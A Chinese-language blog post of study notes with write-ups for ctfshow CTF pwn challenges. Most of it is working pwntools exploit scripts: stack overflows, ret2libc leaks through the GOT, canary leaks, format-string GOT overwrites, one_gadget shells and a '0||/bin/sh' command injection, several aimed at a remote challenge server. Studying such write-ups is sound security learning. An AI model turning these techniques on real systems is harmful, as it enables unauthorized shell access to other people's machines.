文章目录
ctfshow pwn学习笔记(除堆部分)
本文目的是照着师傅们的wp学习后总结一下
pwn入门
pwn签到题
nc 直接连
pwn02
查看保护
进入pwnme
函数
发现fgets
处存在栈溢出,s
距离ebp为0x9,那么覆盖到返回地址的长度还要再加上0x4我是懒狗,没有gdb看,且程序中存在后门函数,地址为0x804850f
exp:
from pwn import *
io = process("./stack")
payload = b"a"*(0x9+0x4)+p32(0x804850F)
io.sendline(payload)
io.interactive()
pwn03
查看保护
进入pwnme
函数,发现和上一题一模一样,但是不同的是,这题没有后门函数
可以用puts
函数泄露出任意函数的got
表地址,从而泄露libc,就可以根据相对偏移getshell
from pwn import *
context.log_level = 'debug'
io = process("./stack1")
elf = ELF("stack1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = b"A"*(9+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)#泄露puts_got
io.recvuntil("\n\n")
io.sendline(payload1)
puts_addr = u32(io.recv(4))
libcbase = puts_addr - 0x067360 #计算相对偏移
system_addr = 0x03cd10 + libcbase
str_bin_sh = 0x17b8cf + libcbase
payload2 = b"A"*(9+4)+p32(system_addr)+b"aaaa"+p32(str_bin_sh)
io.recvuntil("\n\n")
io.sendline(payload2)
io.interactive()
pwn04
开启了Canary保护,查看vuln
函数
发现存在格式化字符串漏洞,可以利用格式化字符串泄露Canary,然后栈溢出
确定格式化字符串参数位置为第六个
确定Canary位置,在IDA中可以看到,Canary的位置在ebp+0xC0
所以我们应该利用%31$x
泄露栈上的Canary
31 = (0xd8-0x68-0xc)/4+6
这里用gdb看一下偏移,IDA里面的是错误的
程序中有后门,exp:
from pwn import *
context.log_level = "debug"
io = process("./ex2")
io.sendlineafter("Hello Hacker!\n",b"%31$x")
canary = int(io.recv(8),16)
system = 0x804859B
payload = b"A"*100 + p32(canary) + b"A"*(0xc) + p32(system)
io.sendline(payload)
io.interactive()
pwn05
查看伪代码,带有后门函数的32位栈溢出:
exp:
from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0x14+4)+p32(0x8048486)
io.sendline(payload)
io.interactive()
pwn06
就是变成了64位
64位要考虑堆栈平衡
exp1:
from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0xc+8)+p64(0x40057B)
io.sendline(payload)
io.interactive()
exp2:
from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0xc+8)+p64(0x4005B6)+p64(0x400577)
io.sendline(payload)
io.interactive()
pwn07
64位版的pwn03
思路和pwn03一样
但是要注意64位和32位传参的区别
64位前6个参数是使用rdi rsi rdx rcx r8 r9
来存放的,超过6个就会像32位一样放在栈中
exp:
from pwn import *
context.log_level = 'debug'
io = remote("111.231.70.44",28058)
elf = ELF("pwn1")
gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
pop_rdi_ret = 0x4006e3
main_addr = elf.symbols["main"]
payload_1 = b"A"*20
payload_1 += p64(pop_rdi_ret)
payload_1 += p64(gets_got)
payload_1 += p64(puts_plt)
payload_1 += p64(main_addr)
io.sendline(payload_1)
io.recvuntil(b"\n")
gets_addr = u64(io.recvuntil(b"\n",drop=True).ljust(8,b"\x00"))
libcBase = gets_addr - 0x0800b0
str_bin_sh = 0x1b3e9a + libcBase
ret = 0x4004c6
system_addr = 0x04f440 +libcBase
payload_2 = b"AA"*10
payload_2 += p64(ret)
payload_2 += p64(pop_rdi_ret)
payload_2 += p64(str_bin_sh)
payload_2 += p64(system_addr)
io.sendline(payload_2)
io.interactive()
01栈溢出之ret2text
进入welcome
,发现栈溢出,有后门函数,64位栈溢出同pwn06
exp:
from pwn import *
context.log_level = "debug"
io = process("./pwn1")
payload = b"a"*(0x80+8)+p64(0x40063B)
io.sendline(payload)
io.interactive()
pwn10
查看伪代码 存在格式化字符串漏洞,利用任意写,将num
改为16即可
查看位置
exp:
from pwn import *
io = process("./pwn10")
context.log_level = "debug"
num_addr = 0x804A030
payload = p32(num_addr) + b"%12c%7$n"
io.sendline(payload)
io.interactive()
萌新赛
签到题
exp:
同pwn7
from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28077)
elf = ELF("pwn1")
puts_plt = elf.plt["puts"]
gets_got = elf.got["gets"]
main_addr = elf.symbols["main"]
ret = 0x40053e
pop_rdi_ret = 0x400793
payload = b"e"*(0x70+8)+p64(pop_rdi_ret)+p64(gets_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("successful!\n")
io.sendline(payload)
io.recvuntil("just a joke")
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = gets_addr - 0x0800b0
system_addr = libcbase + 0x04f440
bin_sh_addr = libcbase + 0x1b3e9a
payload = b"e"*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("successful!\n")
io.sendline(payload)
io.interactive()
数学99
发现有三个数学题:
利用整形溢出
exp:
from pwn import *
io = process("./pwn1")
io.sendlineafter("a:","3")
io.sendlineafter("b:","4294967290")
io.sendlineafter("a:","19")
io.sendlineafter("b:","1808407283")
io.sendlineafter("a:","2147483648")
io.sendlineafter("b:","-1")
io.interactive()
内部赛
签到题
进入IDA,发现gets函数存在栈溢出
思路同pwn07,不过这次使用write
函数来进行泄露内存
exp:
from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28019)
elf = ELF("pwn1")
gets_got = elf.got["gets"]
write_plt = elf.plt["write"]
ret = 0x400654
pop_rdi_ret = 0x4006c3
pop_rsi_r15_ret = 0x4006c1
main_addr = elf.symbols["main"]
payload = b"a"*(0xa0+8)+p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_r15_ret)+p64(gets_got)+p64(0)+p64(write_plt)+p64(main_addr)
io.recvuntil("now,Try Pwn Me?\n")
io.sendline(payload)
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = gets_addr - 0x0800b0
system_addr = libcbase + 0x04f440
bin_sh_addr = libcbase + 0x1b3e9a
payload_2 = b"a"*(0xa0+8) + p64(pop_rdi_ret) + p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("now,Try Pwn Me?\n")
io.sendline(payload_2)
io.interactive()
BJDCTF2020
babyrouter
同pwn07 用puts进行内存泄漏
exp:
from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28051)
elf = ELF("pwn1")
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
ret = 0x4004c9
pop_rdi_ret = 0x400733
pop_rsi_r15_ret = 0x4006c1
main_addr = elf.symbols["main"]
payload = b"a"*(0x20+8)+p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil("me u story!\n")
io.sendline(payload)
gets_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(gets_addr))
libc = LibcSearcher("read",gets_addr)
libcbase = gets_addr - libc.dump("read")
system_addr = libcbase + libc.dump("system")
bin_sh_addr = libcbase + libc.dump("str_bin_sh")
payload_2 = b"a"*(0x20+8)+ p64(pop_rdi_ret) + p64(bin_sh_addr)+p64(system_addr)
io.recvuntil("me u story!\n")
io.sendline(payload_2)
io.interactive()
babystack
发先read函数的长度是我们可以控制的,存在后门函数:
exp:
from pwn import *
from LibcSearcher import *
context.log_level = "debug"
io = process("./pwn1")
io.sendlineafter("your name:","250")
payload = b"a"*(0x10+8)+p64(0x4006EA)
io.sendline(payload)
io.interactive()
router
查看伪代码,发现这里可以命令执行欸,有点意思 有点像web题
exp:
from pwn import *
context.log_level = "debug"
io = process("./pwn1")
elf = ELF("pwn1")
io.sendline("1")
io.sendlineafter("address:\n",b"0||/bin/sh")
io.interactive()
36D杯
签到
存在栈溢出,并且有system函数和sh
exp:
from pwn import *
context.log_level = "debug"
io = process("./pwn1")
elf = ELF("pwn1")
pop_rdi_ret = 0x4006d3
ret = 0x4004ce
print(hex(next(elf.search(b"sh\x00"))))
payload = b"A"*(0x20+8) + p64(ret) + p64(pop_rdi_ret) +p64(next(elf.search(b"sh\x00"))) + p64(elf.plt["system"])
io.sendline(payload)
io.interactive()
babyFmtstr
通过这题感觉真正懂点了格式化字符串
在这里发现了格式化字符串漏洞
整体思路:
利用格式化字符串,改写 memset函数的got表为main函数地址,这样就有了循环,再利用格式化字符串泄露内存,再根据泄露的内存偏移,将strdup函数的got表地址改写为system函数,这样向其中输入 “/bin/sh” 就之间获得了shell
exp:
from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28045) #fmt:8
elf = ELF("pwn1")
puts_got = elf.got["puts"]
strdup_got = elf.got["strdup"]
memset_got = elf.got["memset"]
#main_addr 400E93
payload_1 = b"%14c%11$hhn%133c%12$hhnA" + p64(memset_got+1)+p64(memset_got)
io.sendlineafter("please input name:\n",payload_1)
io.sendlineafter("input size of motto:\n","1")
payload_2 = b"AAAA%9$s" + p64(puts_got)
io.sendlineafter("please input name:\n",payload_2)
io.recvuntil("AAAA")
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
libcbase = puts_addr - 0x06f690
system_addr = libcbase + 0x045390
print(hex(system_addr))
def strdup_system(system):
x = system >>16 & 0xffff
y = system & 0xffff
print(x)
print(y)
if x>y:
payload = flat("%"+str(y)+"c%12$hn%"+str(x-y)+"c%13$hn")
payload = payload.ljust(32,b"a")
print(payload)
payload += p64(strdup_got)+p64(strdup_got+2)
if x<y:
payload = flat("%"+str(x)+"c%12$hn%"+str(y-x)+"c%13$hn")
payload = payload.ljust(32,b"a")
print(payload)
payload += p64(strdup_got+2)+p64(strdup_got)
return payload
payload_3 = strdup_system(system_addr)
io.sendlineafter("please input name:\n",payload_3)
io.interactive()
MagicString
有system函数但是缺少参数:
可以利用gets函数将参数写道bss段,然后传参 这题不知道为什么本地打不通T^T
exp:
from pwn import *
context.log_level = "debug"
io = remote("111.231.70.44",28037)
elf = ELF("pwn1")
gets_plt = elf.plt["gets"]
system_plt = elf.plt["system"]
pop_rdi_ret = 0x400733
ret = 0x4004d1
bss_addr = 0x601060
io.recvuntil("Throw away ida pro!!! I want a girlfriend!\n")
payload = b"a"*(0x2a0+8)+p64(ret)+p64(pop_rdi_ret)+p64(bss_addr)+p64(gets_plt)+p64(pop_rdi_ret)+p64(bss_addr)+p64(system_plt)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()
MengxinStack
存在两次栈溢出
整体思路:
第一次栈溢出用来覆盖掉Canary后的 \x00 ,从而泄露Canary
第二次的栈溢出用来覆盖 __libc_start_main 的返回地址的最后一字节,
使得再次执行main函数,从而进行内存泄露和栈溢出
遇到的问题:
在覆盖最后一字节的返回地址时,我的本地地址和远程的并不一样,但是我不知道怎么确定远程的地址,只能看师傅们wp的偏移了
本地的:
exp:
from pwn import *
context.log_level = "debug"
#io = process("./pwn1")
io = remote("111.231.70.44",28018)
elf = ELF("pwn1")
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")
payload = b"a"*0x28+b"A"
io.send(payload)
io.recvuntil(b"A")
canary = u64(io.recv(7).rjust(8,b"\x00"))
payload2=b'a'*40+p64(canary)+b'a'*24+b'\x04'#local /x99
io.send(payload2)
io.recvuntil("You had me at hello.\n")
io.send(b'a'*0x28 + b'a'*0x8 + b'a'*0x18)
print(io.recvuntil(b'a'*0x48))
libc_main_ret = u64(io.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_ret - 0x020830
one_gadget = libcbase + 0xf1147
payload_3 = b'a'*40+p64(canary)+b'a'*24+p64(one_gadget)
io.send(payload_3)
io.interactive()
tang
这题和上一题的区别就是,泄露内存用的格式化字符串漏洞,其他思路都一样
exp:
from pwn import *
context.log_level = "debug"
#io = process("./pwn1")
io = remote("111.231.70.44",28060)
elf = ELF("pwn1")
io.sendafter("你怎么了?\n","%9$p") #canary
canary = int(io.recv(18),16)
print(hex(canary))
io.sendafter("烫烫烫烫","a")
payload = b"a"*(0x38)+p64(canary)+b"1"*(0x10+8)+b"\x16"
io.sendafter("炉远一点!\n",payload)
io.sendafter("你怎么了?\n","%23$p") #libc_main_ret
libc_main_ret = int(io.recv(14),16)
print(hex(libc_main_ret))
libcbase = libc_main_ret - 0x020830
one_gadget = libcbase + 0xf1147
payload_2 = b"a"*(0x38)+p64(canary)+b"1"*(0x10+8)+p64(one_gadget)
io.sendafter("烫烫烫烫","a")
io.sendafter("炉远一点!\n",payload_2)
io.interactive()
1024杯
1024_happy_stack
查看伪代码
gets存在栈溢出
查看ctfshow
函数
检查输入是否与"36D"相等,这里可以使用\x00
绕过
整体思路和pwn07一样 泄露内存之后栈溢出
exp:
from pwn import *
context.log_level = 'debug'
#io = process("./pwn")
io = remote("111.231.70.44",28021)
elf = ELF("pwn")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x400803
payload = b"36D\x00".ljust(0x388,b'a')+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recv()
io.sendline(payload)
print(io.recvuntil(b"36D\n"))
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
print(hex(puts_addr))
ret = 0x40028a
libcBase = puts_addr - 0x0809c0
str_bin_sh = 0x1b3e9a + libcBase
system_addr = 0x04f440 +libcBase
payload_2 = b"36D\x00".ljust(0x388,b'a')
payload_2 += p64(ret)
payload_2 += p64(pop_rdi_ret)
payload_2 += p64(str_bin_sh)
payload_2 += p64(system_addr)
io.sendline(payload_2)
io.interactive()
1024_happy_checkin
思路和pwn07一样
exp:
from pwn import *
context.log_level = 'debug'
io = remote("111.231.70.44",28065)
#io = process("./pwn1")
elf = ELF("pwn1")
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
pop_rdi_ret = 0x4006e3
main_addr = elf.symbols["main"]
payload_1 = b"A"*(0x370+8)
payload_1 += p64(pop_rdi_ret)
payload_1 += p64(puts_got)
payload_1 += p64(puts_plt)
payload_1 += p64(main_addr)
io.recvuntil(b"\n")
io.sendline(payload_1)
io.recv(0x370+8+4)
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
libcBase = puts_addr - 0x0809c0
str_bin_sh = 0x1b3e9a + libcBase
ret = 0x4004c6
system_addr = 0x04f440 +libcBase
payload_2 = b"A"*(0x370+8)
payload_2 += p64(ret)
payload_2 += p64(pop_rdi_ret)
payload_2 += p64(str_bin_sh)
payload_2 += p64(system_addr)
io.sendline(payload_2)
io.interactive()